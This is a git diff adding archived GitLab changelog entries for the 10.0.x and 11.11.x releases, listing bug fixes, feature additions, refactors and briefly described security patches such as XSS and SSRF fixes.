+- [FIXED] Fix case sensitive email confirmation on signup. !14606 (robdel12)
+- [FIXED] Whitelist authorized_keys.lock in the gitlab:check rake task. !14624
+- [FIXED] Allow merge in MR widget with no pipeline but using "Only allow merge requests to be merged if the pipeline succeeds". !14633
+- [FIXED] Fix navigation dropdown close animation on mobile screens. !14649
+- [FIXED] Fix the project import with issues and milestones. !14657
+- [FIXED] Use explicit boolean true attribute for show-disabled-button in Vue files. !14672
+- [FIXED] Make tabs on top scrollable on admin dashboard. !14685 (Takuya Noguchi)
+- [FIXED] Fix broken Y-axis scaling in some Prometheus graphs. !14693
+- [FIXED] Search or compare LDAP DNs case-insensitively and ignore excess whitespace. !14697
+- [FIXED] Allow prometheus graphs to correctly handle NaN values. !14741
+- [FIXED] Don't show an "Unsubscribe" link in snippet comment notifications. !14764
+- [FIXED] Fixed duplicate notifications when added multiple labels on an issue. !14798
+- [FIXED] Fix alignment for indeterminate marker in dropdowns. !14809
+- [FIXED] Fix error when updating a forked project with deleted `ForkedProjectLink`. !14916
+- [FIXED] Correctly render asset path for locales with a region. !14924
+- [FIXED] Fix the external URLs generated for online view of HTML artifacts. !14977
+- [FIXED] Reschedule merge request diff background migrations to catch failures from 9.5 run.
+- [FIXED] fix merge request widget status icon for failed CI.
+- [FIXED] Fix the number representing the amount of commits related to a push event.
+- [FIXED] Sync up hover and legend data across all graphs for the prometheus dashboard.
+- [FIXED] Fixes mini pipeline graph in commit view.
+- [FIXED] Fix comment deletion confirmation dialog typo.
+- [FIXED] Fix project snippets breadcrumb link.
+- [FIXED] Make usage ping scheduling more robust.
+- [FIXED] Make "merge ongoing" check more consistent.
+- [FIXED] Add 1000+ counters to job page.
+- [FIXED] Fixed issue/merge request breadcrumb titles not having links.
+- [FIXED] Fixed commit avatars being centered vertically.
+- [FIXED] Tooltips in the commit info box now all face the same direction. (Jedidiah Broadbent)
+- [FIXED] Fixed navbar title colors leaking out of the navbar.
+- [FIXED] Fix bug that caused merge requests with diff notes imported from Bitbucket to raise errors.
+- [FIXED] Correctly detect multiple issue URLs after 'Closes...' in MR descriptions.
+- [FIXED] Set default scope on PATs that don't have one set to allow them to be revoked.
+- [FIXED] Fix application setting to cache nil object.
+- [FIXED] Fix image diff swipe handle offset to correctly align with the frame.
+- [FIXED] Force non diff resolved discussion to display when collapse toggled.
+- [FIXED] Fix resolved discussions not expanding on side by side view.
+- [FIXED] Fixed the sidebar scrollbar overlapping links.
+- [FIXED] Issue board tooltips are now the correct width when the column is collapsed. (Jedidiah Broadbent)
+- [FIXED] Improve autodevops banner UX and render it only in project page.
+- [FIXED] Fix typo in cycle analytics breaking time component.
+- [FIXED] Force two up view to load by default for image diffs.
+- [FIXED] Fixed milestone breadcrumb links.
+- [FIXED] Fixed group sort dropdown defaulting to empty.
+- [FIXED] Fixed notes not being scrolled to in merge requests.
+- [FIXED] Adds Event polyfill for IE11.
+- [FIXED] Update native unicode emojis to always render as normal text (previously could render italicized). (Branka Martinovic)
+- [FIXED] Sort JobsController by id, not created_at.
+- [FIXED] Fix revision and total size missing for Container Registry.
+- [FIXED] Fixed milestone issuable assignee link URL.
+- [FIXED] Fixed breadcrumbs container expanding in side-by-side diff view.
+- [FIXED] Fixed merge request widget merged & closed date tooltip text.
+- [FIXED] Prevent creating multiple ApplicationSetting instances.
+- [FIXED] Fix username and ID not logging in production_json.log for Git activity.
+- [FIXED] Make Redcarpet Markdown renderer thread-safe.
+- [FIXED] Two factor auth messages in settings no longer overlap the button. (Jedidiah Broadbent)
+- [FIXED] Made the "remember me" check boxes have consistent styles and alignment. (Jedidiah Broadbent)
+- [FIXED] Prevent branches or tags from starting with invalid characters (e.g. -, .).
+- [DEPRECATED] Removed two legacy config options. (Daniel Voogsgerd)
+- [CHANGED] Show notes number more user-friendly in the graph. !13949 (Vladislav Kaverin)
+- [CHANGED] Link SAML users to LDAP by email. !14216
+- [CHANGED] Display whether branch has been merged when deleting protected branch. !14220
+- [CHANGED] Make the labels in the Compare form less confusing. !14225
+- [CHANGED] Confirmation email shows link as text instead of human readable text. !14243 (bitsapien)
+- [CHANGED] Return only group's members in user dropdowns on issuables list pages. !14249
+- [CHANGED] Added defaults for protected branches dropdowns on the repository settings. !14278
+- [CHANGED] Show confirmation modal before deleting account. !14360
+- [CHANGED] Allow creating merge requests across a fork network. !14422
+- [CHANGED] Re-arrange script HTML tags before template HTML tags in .vue files. !14671
+- [CHANGED] Create idea of read-only database. !14688
+- [CHANGED] Add active states to nav bar counters.
+- [CHANGED] Add view replaced file link for image diffs.
+- [CHANGED] Adjust tooltips to adhere to 8px grid and make them more readable.
+- [CHANGED] breadcrumbs receives padding when double lined.
+- [CHANGED] Allow developer role to admin milestones.
+- [CHANGED] Stop using Sidekiq for updating Key#last_used_at.
+- [CHANGED] Include GitLab full name in Slack messages.
+- [ADDED] Expose last pipeline details in API response when getting a single commit. !13521 (Mehdi Lahmam (@mehlah))
+- [ADDED] Allow to use same periods for different housekeeping tasks (effectively skipping the lesser task). !13711 (cernvcs)
+- [ADDED] Add GitLab-Pages version to Admin Dashboard. !14040 (travismiller)
+- [ADDED] Commenting on image diffs. !14061
+- [ADDED] Script to migrate project's repositories to new Hashed Storage. !14067
+- [ADDED] Hide close MR button after merge without reloading page. !14122 (Jacopo Beschi @jacopo-beschi)
+- [ADDED] Add Gitaly version to Admin Dashboard. !14313 (Jacopo Beschi @jacopo-beschi)
+- [ADDED] Add 'closed_at' attribute to Issues API. !14316 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Add tooltip for milestone due date to issue and merge request lists. !14318 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Improve list of sorting options. !14320 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Add client and call site metadata to Gitaly calls for better traceability. !14332
+- [ADDED] Strip gitlab-runner section markers in build trace HTML view. !14393
+- [ADDED] Add online view of HTML artifacts for public projects. !14399
+- [ADDED] Create Kubernetes cluster on GKE from k8s service. !14470
+- [ADDED] Add support for GPG subkeys in signature verification. !14517
+- [ADDED] Parse and store gitlab-runner timestamped section markers. !14551
+- [ADDED] Add "implements" to the default issue closing message regex. !14612 (Guilherme Vieira)
+- [ADDED] Replace `tag: true` into `:tag` in the specs. !14653 (Jacopo Beschi @jacopo-beschi)
+- [ADDED] Discussion lock for issues and merge requests.
+- [ADDED] Add an API endpoint to determine the forks of a project.
+- [ADDED] Add help text to runner edit: tags should be separated by commas. (Brendan O'Leary)
+- [ADDED] Only copy old/new code when selecting left/right side of parallel diff.
+- [ADDED] Expose avatar_url when requesting list of projects from API with simple=true.
+- [ADDED] A confirmation email is now sent when adding a secondary email address. (digitalmoksha)
+- [ADDED] Move Custom merge methods from EE.
+- [ADDED] Makes @mentions links have a different styling for better separation.
+- [ADDED] Added tabs to dashboard/projects to easily switch to personal projects.
+- [OTHER] Extract AutocompleteController#users into finder. !13778 (Maxim Rydkin, Mayra Cabrera)
+- [OTHER] Replace 'project/wiki.feature' spinach test with an rspec analog. !13856 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Expand docs for changing username or group path. !13914
+- [OTHER] Move `lib/ci` to `lib/gitlab/ci`. !14078 (Maxim Rydkin)
+- [OTHER] Decrease Cyclomatic Complexity threshold to 13. !14152 (Maxim Rydkin)
+- [OTHER] Decrease Perceived Complexity threshold to 15. !14160 (Maxim Rydkin)
+- [OTHER] Replace project/group_links.feature spinach test with an rspec analog. !14169 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the project/milestone.feature spinach test with an rspec analog. !14171 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the profile/emails.feature spinach test with an rspec analog. !14172 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the project/team_management.feature spinach test with an rspec analog. !14173 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/merge_requests/accept.feature' spinach test with an rspec analog. !14176 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/builds/summary.feature' spinach test with an rspec analog. !14177 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Optimize the boards' issues fetching. !14198
+- [OTHER] Replace the 'project/merge_requests/revert.feature' spinach test with an rspec analog. !14201 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/issues/award_emoji.feature' spinach test with an rspec analog. !14202 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'profile/active_tab.feature' spinach test with an rspec analog. !14239 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'search.feature' spinach test with an rspec analog. !14248 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Load sidebar participants avatars only when visible. !14270
+- [OTHER] Adds gitlab features and components to usage ping data. !14305
+- [OTHER] Replace the 'project/archived.feature' spinach test with an rspec analog. !14322 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/commits/revert.feature' spinach test with an rspec analog. !14325 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/snippets.feature' spinach test with an rspec analog. !14326 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Add link to OpenID Connect documentation. !14368 (Markus Koller)
+- [OTHER] Upgrade doorkeeper-openid_connect. !14372 (Markus Koller)
+- [OTHER] Upgrade gitlab-markup gem. !14395 (Markus Koller)
+- [OTHER] Index projects on repository storage. !14414
+- [OTHER] Replace the 'project/shortcuts.feature' spinach test with an rspec analog. !14431 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace the 'project/service.feature' spinach test with an rspec analog. !14432 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Improve GitHub import performance. !14445
+- [OTHER] Add basic sprintf implementation to JavaScript. !14506
+- [OTHER] Replace the 'project/merge_requests.feature' spinach test with an rspec analog. !14621 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Update GitLab Pages to v0.6.0. !14630
+- [OTHER] Add documentation to summarise project archiving. !14650
+- [OTHER] Remove 'Repo' prefix from API entites. !14694 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Removes cycle analytics service and store from global namespace.
+- [OTHER] Improves i18n for Auto Devops callout.
+- [OTHER] Exports common_utils utility functions as modules.
+- [OTHER] Use `simple=true` for projects API in Projects dropdown for better search performance.
+- [OTHER] Change index on ci_builds to optimize Jobs Controller.
+- [OTHER] Add index for merge_requests.merge_commit_sha.
+- [OTHER] Add (partial) index on Labels.template.
+- [OTHER] Cache issue and MR template names in Redis.
+- [OTHER] changed dashed border button color to be darker.
+- [OTHER] Speed up permission checks.
+- [OTHER] Fix docs for lightweight tag creation via API.
+- [OTHER] Clarify artifact download via the API only accepts branch or tag name for ref.
+- [OTHER] Change recommended MySQL version to 5.6.
+- [OTHER] Bump google-api-client Gem from 0.8.6 to 0.13.6.
+- [OTHER] Detect when changelog entries are invalid.
+- [OTHER] Use a UNION ALL for getting merge request notes.
+- [OTHER] Remove an index on ci_builds meant to be only temporary.
+- [OTHER] Remove a SQL query from the todos index page.
+- Support custom attributes on users. !13038 (Markus Koller)
+- made read-only APIs for public merge requests available without authentication. !13291 (haseebeqx)
+- Hide read_registry scope when registry is disabled on instance. !13314 (Robin Bobbitt)
+- creation of keys moved to services. !13331 (haseebeqx)
+- Add username as GL_USERNAME in hooks.
+
+## 10.0.7 (2017-12-07)
+
+### Security (5 changes)
+
+- Fix e-mail address disclosure through member search fields
+- Prevent creating issues through API when user does not have permissions
+- Prevent an information disclosure in the Groups API
+- Fix user without access to private Wiki being able to see it on the project page
+- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
+
+
+## 10.0.5 (2017-11-03)
+
+- [FIXED] Fix incorrect X-axis labels in Prometheus graphs. !14258
+- [FIXED] Fix `rake gitlab:incoming_email:check` and make it report the actual error. !14423
+- [FIXED] Does not check if an invariant hashed storage path exists on disk when renaming projects. !14428
+- [FIXED] Fix bottom spacing for dropdowns that open upwards. !14535
+- [FIXED] Fix the project import with issues and milestones. !14657
+- [FIXED] Fix broken Y-axis scaling in some Prometheus graphs. !14693
+- [FIXED] Fixed duplicate notifications when added multiple labels on an issue. !14798
+- [FIXED] Don't rename paths that were freed up when upgrading. !15029
+- [FIXED] Fixed issue/merge request breadcrumb titles not having links.
+- [FIXED] Fix application setting to cache nil object.
+- [FIXED] Fix missing Import/Export issue assignees.
+- [FIXED] Allow boards as top level route.
+- [FIXED] Fixed milestone breadcrumb links.
+- [FIXED] Fixed merge request widget merged & closed date tooltip text.
+- [FIXED] fix merge request widget status icon for failed CI.
+
+## 10.0.4 (2017-10-16)
+
+- [SECURITY] Move project repositories between namespaces when renaming users.
+- [SECURITY] Prevent an open redirect on project pages.
+- [SECURITY] Prevent a persistent XSS in user-provided markup.
+
+## 10.0.3 (2017-10-05)
+
+- [FIXED] find_user Users helper method no longer overrides find_user API helper method. !14418
+- [FIXED] Fix CSRF validation issue when closing/opening merge requests from the UI. !14555
+- [FIXED] Kubernetes integration: ensure v1.8.0 compatibility. !14635
+- [FIXED] Fixes data parameter not being sent in ajax request for jobs log.
+- [FIXED] Improves UX of autodevops popover to match gpg one.
+- [FIXED] Fixed commenting on side-by-side commit diff.
+- [FIXED] Make sure API responds with 401 when invalid authentication info is provided.
+- [FIXED] Fix merge request counter updates after merge.
+- [FIXED] Fix gitlab-rake gitlab:import:repos task failing.
+- [FIXED] Fix pushes to an empty repository not invalidating has_visible_content? cache.
+- [FIXED] Ensure all refs are restored on a restore from backup.
+- [FIXED] Gitaly RepositoryExists remains opt-in for all method calls.
+- [FIXED] Fix 500 error on merged merge requests when GitLab is restored from a backup.
+- [FIXED] Adjust MRs being stuck on "process of being merged" for more than 2 hours.
+
+## 10.0.2 (2017-09-27)
+
+- [FIXED] Notes will not show an empty bubble when the author isn't a member. !14450
+- [FIXED] Some checks in `rake gitlab:check` were failling with 'undefined method `run_command`'. !14469
+- [FIXED] Make locked setting of Runner to not affect jobs scheduling. !14483
+- [FIXED] Re-allow `name` attribute on user-provided anchor HTML.
+
+## 10.0.1 (2017-09-23)
+
+- [FIXED] Fix duplicate key errors in PostDeployMigrateUserExternalMailData migration.
+
+## 10.0.0 (2017-09-22)
+
+- [SECURITY] Upgrade brace-expansion NPM package due to security issue. !13665 (Markus Koller)
+- [REMOVED] Remove CI API v1.
+- [FIXED] Ensure correct visibility level options shown on all Project, Group, and Snippets forms. !13442
+- [FIXED] Fix the /projects/:id/repository/files/:file_path/raw endpoint to handle dots in the file_path. !13512 (mahcsig)
+- [FIXED] Merge request reference in merge commit changed to full reference. !13518 (haseebeqx)
+- [FIXED] Removes Sortable default scope. !13558
+- [FIXED] Wiki table of contents are now properly nested to reflect header level. !13650 (Akihiro Nakashima)
+- [FIXED] Improve bare project import: Allow subgroups, take default visibility level into account. !13670
+- [FIXED] Fix group and project search for anonymous users. !13745
+- [FIXED] Fix searching for files by path. !13798
+- [FIXED] Fix division by zero error in blame age mapping. !13803 (Jeff Stubler)
+- [FIXED] Fix incorrect date/time formatting on prometheus graphs. !13865
+- [FIXED] Changes the password change workflow for admins. !13901
+- [FIXED] API: Respect default group visibility when creating a group. !13903 (Robert Schilling)
+- [FIXED] Unescape HTML characters in Wiki title. !13942 (Jacopo Beschi @jacopo-beschi)
+- [FIXED] Make blob viewer for rich contents wider for mobile. !14011 (Takuya Noguchi)
+- [FIXED] Fix typo in the API Deploy Keys documentation page. !14014 (Vitaliy @blackst0ne Klachkov)
+- [FIXED] Hide admin link from default search results for non-admins. !14015
+- [FIXED] Fix problems sanitizing URLs with empty passwords. !14083
+- [FIXED] Fix stray OR in New Project page. !14096 (Robin Bobbitt)
+- [FIXED] Fix a wrong `X-Gitlab-Event` header when testing webhooks. !14108
+- [FIXED] Fix the diff file header from being html escaped for renamed files. !14121
+- [FIXED] Image attachments are properly displayed in notification emails again. !14161
+- [FIXED] Fixes the 500 errors caused by a race condition in GPG's tmp directory handling. !14194 (Alexis Reigel)
+- [FIXED] Fix MR ready to merge buttons/controls at mobile breakpoint. !14242
+- [FIXED] Fix Pipeline Triggers to show triggered label and predefined variables (e.g. CI_PIPELINE_TRIGGERED). !14244
+- [FIXED] Allow using newlines in pipeline email service recipients. !14250
+- [FIXED] Fix errors when moving issue with reference to a group milestone. !14294
+- [FIXED] Fix the "resolve discussion in a new issue" button. !14357
+- [FIXED] File uploaders do not perform hard check, only soft check.
+- [FIXED] Add to_project_id parameter to Move Issue via API example.
+- [FIXED] Update x/x discussions resolved checkmark icon to be green when all discussions resolved.
+- [FIXED] Fixed add diff note button not showing after deleting a comment.
+- [FIXED] Fix broken svg in jobs dropdown for success status.
+- [FIXED] Fix buttons with different height in merge request widget.
+- [FIXED] Removes disabled state from dashboard project button.
+- [FIXED] Better align fallback image emojis.
+- [FIXED] Remove focus styles from dropdown empty links.
+- [FIXED] Fix inconsistent spacing for edit buttons on issues and merge request page.
+- [FIXED] Fix edit merge request and issues button inconsistent letter casing.
+- [FIXED] Improve Import/Export memory usage.
+- [FIXED] Fix Import/Export issue to do with fork merge requests.
+- [FIXED] Fix invite by email address duplication.
+- [FIXED] Adds tooltip to the branch name and improves performance.
+- [FIXED] Disable GitLab Project Import Button if source disabled.
+- [FIXED] Migrate issues authored by deleted user to the Ghost user.
+- [FIXED] Fix new navigation wrapping and causing height to grow.
+- [FIXED] Normalize styles for empty state combo button.
+- [FIXED] Fix external link to Composer website.
+- [FIXED] Prevents jobs dropdown from closing in pipeline graph.
+- [FIXED] Include the `is_admin` field in the `GET /users/:id` API when current user is an admin.
+- [FIXED] Fix breadcrumbs container in issue boards.
+- [FIXED] Fix project feature being deleted when updating project with invalid visibility level.
+- [FIXED] Truncate milestone title if sidebar is collapsed.
+- [FIXED] Prevents rendering empty badges when request fails.
+- [FIXED] Fixes margins on the top buttons of the pipeline table.
+- [FIXED] Bump jira-ruby gem to 1.4.1 to fix issues with HTTP proxies.
+- [FIXED] Eliminate N+1 queries in loading discussions.json endpoint.
+- [FIXED] Eliminate N+1 queries referencing issues.
+- [FIXED] Remove unnecessary loading of discussions in `IssuesController#show`.
+- [FIXED] Fix errors thrown in merge request widget with external CI service/integration.
+- [FIXED] Do not show the Auto DevOps banner when the project has a .gitlab-ci.yml on master.
+- [FIXED] Reword job to pipeline to reflect what the graphs are really about.
+- [FIXED] Sort templates in the dropdown.
+- [FIXED] Fix Auto DevOps banner to be shown on empty projects.
+- [FIXED] Resolve Image onion skin + swipe does not work anymore.
+- [FIXED] Fix mini graph pipeline breakin in merge request view.
+- [FIXED] Fixed merge request changes bar jumping.
+- [FIXED] Improve migrations using triggers.
+- [FIXED] Fix ConvDev Index nav item and Monitoring submenu regression.
+- [FIXED] disabling notifications globally now properly turns off group/project added
+ emails !13325
+- [DEPRECATED] Deprecate custom SSH client configuration for the git user. !13930
+- [CHANGED] allow all users to delete their account. !13636 (Jacopo Beschi @jacopo-beschi)
+- [CHANGED] Use full path of project's avatar in webhooks. !13649 (Vitaliy @blackst0ne Klachkov)
+- [CHANGED] Add filtered search to group merge requests dashboard. !13688 (Hiroyuki Sato)
+- [CHANGED] Fire hooks asynchronously when creating a new job to improve performance. !13734
+- [CHANGED] Improve performance for AutocompleteController#users.json. !13754 (Hiroyuki Sato)
+- [CHANGED] Update the GPG verification semantics: A GPG signature must additionally match the committer in order to be verified. !13771 (Alexis Reigel)
+- [CHANGED] Support a multi-word fuzzy search issues/merge requests on search bar. !13780 (Hiroyuki Sato)
+- [CHANGED] Default LDAP config "verify_certificates" to true for security. !13915
+- [CHANGED] "Share with group lock" now applies to subgroups, but owner can override setting on subgroups. !13944
+- [CHANGED] Make Gitaly PostUploadPack mandatory. !13953
+- [CHANGED] Remove project select dropdown from breadcrumb. !14010
+- [CHANGED] Redesign project feature permissions settings. !14062
+- [CHANGED] Document version Group Milestones API introduced.
+- [CHANGED] Finish migration to the new events setup.
+- [CHANGED] restyling of OAuth authorization confirmation. (Jacopo Beschi @jacopo-beschi)
+- [CHANGED] Added support for specific labels and colors.
+- [CHANGED] Move "Move issue" controls to right-sidebar.
+- [CHANGED] Remove pages settings when not available.
+- [CHANGED] Allow all AutoDevOps banners to be turned off.
+- [CHANGED] Update Rails project template to use Postgresql by default.
+- [CHANGED] Added support the multiple time series for prometheus monitoring.
+- [ADDED] API: Respect the "If-Unmodified-Since" header when delting a resource. !9621 (Robert Schilling)
+- [ADDED] Protected runners. !13194
+- [ADDED] Add support for copying permalink to notes via more actions dropdown. !13299
+- [ADDED] Add API support for wiki pages. !13372 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Add a `Last 7 days` option for Cycle Analytics view. !13443 (Mehdi Lahmam (@mehlah))
+- [ADDED] inherits milestone and labels when a merge request is created from issue. !13461 (haseebeqx)
+- [ADDED] Add 'from commit' information to cherry-picked commits. !13475 (Saverio Miroddi)
+- [ADDED] Add an option to list only archived projects. !13492 (Mehdi Lahmam (@mehlah))
+- [ADDED] Extend API: Pipeline Schedule Variable. !13653
+- [ADDED] Add settings for minimum SSH key strength and allowed key type. !13712 (Cory Hinshaw)
+- [ADDED] Add div id to the readme in the project overview. !13735 (Riccardo Padovani @rpadovani)
+- [ADDED] Add CI/CD job predefined variables with user name and login. !13824
+- [ADDED] API: Add GPG key management. !13828 (Robert Schilling)
+- [ADDED] Add CI/CD active kubernetes job policy. !13849
+- [ADDED] Add dropdown to Projects nav item. !13866
+- [ADDED] Allow users and administrator to configure Auto-DevOps. !13923
+- [ADDED] Implement `failure_reason` on `ci_builds`. !13937
+- [ADDED] Add branch existence check to the APIv4 branches via HEAD request. !13979 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Add quick submission on user settings page. !14007 (Vitaliy @blackst0ne Klachkov)
+- [ADDED] Add my_reaction_emoji param to /issues and /merge_requests API. !14016 (Hiroyuki Sato)
+- [ADDED] Make it possible to download a single job artifact file using the API. !14027
+- [ADDED] Add repository toggle for automatically resolving outdated diff discussions. !14053 (AshleyDumaine)
+- [ADDED] Scripts to detect orphaned repositories. !14204
+- [ADDED] Created callout for auto devops.
+- [ADDED] Add option in preferences to change navigation theme color.
+- [ADDED] Add JSON logger in `log/api_json.log` for Grape API endpoints.
+- [ADDED] Add CI_PIPELINE_SOURCE variable on CI Jobs.
+- [ADDED] Changed message and title on the 404 page. (Branka Martinovic)
+- [ADDED] Handle if Auto DevOps domain is not set in project settings.
+- [ADDED] Add collapsable sections for Pipeline Settings.
+- [OTHER] Add badge for dependency status. !13588 (Markus Koller)
+- [OTHER] Migration to remove pending delete projects with non-existing namespace. !13598
+- [OTHER] Bump rouge to v2.2.0. !13633
+- [OTHER] Fix repository equality check and avoid fetching ref if the commit is already available. This affects merge request creation performance. !13685
+- [OTHER] Replace 'source/search_code.feature' spinach test with an rspec analog. !13697 (blackst0ne)
+- [OTHER] Remove unwanted refs after importing a project. !13766
+- [OTHER] Never wait for sidekiq jobs when creating projects. !13775
+- [OTHER] Gitaly feature toggles are on by default in development. !13802
+- [OTHER] Remove `is_` prefix from predicate method names. !13810 (Maxim Rydkin)
+- [OTHER] Update 'Using Docker images' documentation. !13848
+- [OTHER] Update gpg documentation with gpg2. !13851 (M M Arif)
+- [OTHER] Replace 'project/star.feature' spinach test with an rspec analog. !13855 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Replace 'project/user_lookup.feature' spinach test with an rspec analog. !13863 (Vitaliy @blackst0ne Klachkov)
+- [OTHER] Bump rouge to v2.2.1. !13887
+- [OTHER] Add documentation for PlantUML in reStructuredText. !13900 (Markus Koller)
+- [OTHER] Decrease ABC threshold to 55.25. !13904 (Maxim Rydkin)
+- [OTHER] Decrease Cyclomatic Complexity threshold to 14. !13972 (Maxim Rydkin)
+- [OTHER] Update documentation for confidential issue. !14117
+- [OTHER] Remove redundant WHERE from event queries.
+- [OTHER] Memoize the latest builds of a pipeline on a project's homepage.
+- [OTHER] Re-use issue/MR counts for the pagination system.
+- [OTHER] Memoize pipelines for project download buttons.
+- [OTHER] Reorganize indexes for the "deployments" table.
+- [OTHER] Improves markdown rendering performance for commit lists.
+- [OTHER] Only update the sidebar count caches when needed.
+- [OTHER] Improves performance of vue code by using vue files and moving svg out of data function in pipeline schedule callout.
+- [OTHER] Rework how recent push events are retrieved.
+- [OTHER] Restyle dropdown menus to make them look consistent.
+- [OTHER] Upgrade grape to 1.0.
+- [OTHER] Add usage data for Auto DevOps.
+- [OTHER] Cache the number of open issues and merge requests.
+- [OTHER] Constrain environment deployments to project IDs.
+- [OTHER] Eager load namespace owners for project dashboards.
+- [OTHER] Add description template examples to documentation.
+- [OTHER] Disallow NULL values for environments.project_id.
+- Add my reaction filter to search bar. !12962 (Hiroyuki Sato)
+- Generalize profile updates from providers. !12968 (Alexandros Keramidas)
+- Validate PO-files in static analysis. !13000
+- First-time contributor badge. !13143 (Micaël Bergeron <micaelbergeron@gmail.com>)
+- Add option to disable project export on instance. !13211 (Robin Bobbitt)
+- Hashed Storage support for Repositories (EXPERIMENTAL). !13246
+- Added tests for commits API unauthenticated user and public/private project. !13287 (Jacopo Beschi @jacopo-beschi)
+- Fix CI_PROJECT_PATH_SLUG slugify. !13350 (Ivan Chernov)
+- Add checks for branch existence before changing HEAD. !13359 (Vitaliy @blackst0ne Klachkov)
+- Fix the alignment of line numbers to lines of code in code viewer. !13403 (Trevor Flynn)
+- Allow users to move issues to other projects using a / command. !13436 (Manolis Mavrofidis)
+- Bumps omniauth-ldap gem version to 2.0.4. !13465
+- Implement the Gitaly RefService::RefExists endpoint. !13528 (Andrew Newdigate)
+- Changed all font-weight values to 400 and 600 and introduced 2 variables to manage them.
+- Simplify checking if objects exist code in new issaubles workers.
+- Present enqueued merge jobs as Merging as well.
+- Don't escape html entities in InlineDiffMarkdownMarker.
+- Move ConvDev Index location to after Cohorts.
+- Added type to CHANGELOG entries. (Jacopo Beschi @jacopo-beschi)
+- [BUGIFX] Improves subgroup creation permissions. !13418
diff --git a/changelogs/archive-11.md b/changelogs/archive-11.md
new file mode 100644
index 00000000000..42aa9350c60
--- /dev/null
+++ b/changelogs/archive-11.md
@@ -0,0 +1,3953 @@
+## 11.11.8
+
+### Security (2 changes)
+
+- Upgrade Gitaly to 1.42.7 to prevent revision flag injection exploits.
+- Upgrade pages to 1.5.1 to prevent gitlab api token recovery from cookie.
+
+
+## 11.11.7
+
+### Security (9 changes)
+
+- Restrict slash commands to users who can log in.
+- Patch XSS issue in wiki links.
+- Filter merge request params on the new merge request page.
+- Fix Server Side Request Forgery mitigation bypass.
+- Show badges if pipelines are public otherwise default to project permissions.
+- Do not allow localhost url redirection in GitHub Integration.
+- Do not show moved issue id for users that cannot read issue.
+- Use source project as permissions reference for MergeRequestsController#pipelines.
+- Drop feature to take ownership of trigger token.
+
+
+## 11.11.4 (2019-06-26)
+
+### Fixed (3 changes)
+
+- Fix Fogbugz Importer not working. !29383
+- Fix scrolling to top on assignee change. !29500
+- Fix IDE commit using latest ref in branch and overriding contents. !29769
+
+
+## 11.11.3 (2019-06-10)
+
+### Fixed (5 changes)
+
+- Fix invalid visibility string comparison in project import. !28612
+- Remove a default git depth in Pipelines for merge requests. !28926
+- Fix connection to Tiller error while uninstalling. !29131
+- Fix label click scrolling to top. !29202
+- Make OpenID Connect work without requiring a name. !29312
+
+
+## 11.11.2 (2019-06-04)
+
+### Fixed (7 changes)
+
+- Update SAST.gitlab-ci.yml - Add SAST_GITLEAKS_ENTROPY_LEVEL. !28607
+- Fix OmniAuth OAuth2Generic strategy not loading. !28680
+- Use source ref in pipeline webhook. !28772
+- Fix migration failure when groups are missing route. !29022
+- Stop two-step rebase from hanging when errors occur. !29068
+- Fix project settings not being able to update. !29097
+- Fix display of 'Promote to group label' button.
+
+### Other (1 change)
+
+- Fix input group height.
+
+
+## 11.11.0 (2019-05-22)
+
+### Security (1 change)
+
+- Destroy project remote mirrors instead of disabling. !27087
+
+### Fixed (75 changes, 19 of them are from the community)
+
+- Don't create a temp reference for branch comparisons within project. !24038
+- Fix some label links not appearing on group labels page and label title being a link on project labels page. !24060 (Tanya Pazitny)
+- Fix extra emails for custom notifications. !25607
+- Rewind IID on Ci::Pipelines. !26490
+- Fix duplicate merge request pipelines created by Sidekiq worker retry. !26643
+- Catch and report OpenSSL exceptions while fetching external configuration files in CI::Config. !26750 (Drew Cimino)
+- stop rendering download links for expired artifacts on the project tags page. !26753 (Drew Cimino)
+- Format extra help page text like wiki. !26782 (Bastian Blank)
+- Always show instance configuration link. !26783 (Bastian Blank)
+- Display maximum artifact size from runtime config. !26784 (Bastian Blank)
+- Resolve issue where list labels did not have the correct text color on creation. !26794 (Tucker Chapman)
+- Set release name when adding release notes to an existing tag. !26807
+- Fix the bug that the project statistics is not updated. !26854 (Hiroyuki Sato)
+- Client side changes for ListLastCommitsForTree response update. !26880
+- Fix api group visibility. !26896
+- Require all templates to use default stages. !26954
+- Remove a "reopen merge request button" on a "merged" merge request. !26965 (Hiroyuki Sato)
+- Fix misaligned image diff swipe view. !26969 (ftab)
+- Add badge-pill class on group member count. !27019
+- Remove leading / trailing spaces from heading when generating header ids. !27025 (Willian Balmant)
+- Respect updated_at attribute in notes produced by API calls. !27124 (Ben Gamari)
+- Fix GitHub project import visibility. !27133 (Daniel Wyatt)
+- Fixes actions dropdowns in environments page. !27160
+- Fixes create button background for Environments form. !27161
+- Display scoped labels in Issue Boards. !27164
+- Align UrlValidator to validate_url gem implementation. !27194 (Horatiu Eugen Vlad)
+- Resolve Web IDE template dropdown showing duplicates. !27237
+- Update GitLab Workhorse to v8.6.0. !27260
+- Only show in autocomplete when author active. !27292
+- Remove deadline for Git fsck. !27299
+- Show prioritized labels to guests. !27307
+- Properly expire all pipeline caches when pipeline is deleted. !27334
+- Replaced icon for external URL with doc-text icon. !27365
+- Add auto direction for issue title. !27378 (Ahmad Haghighi)
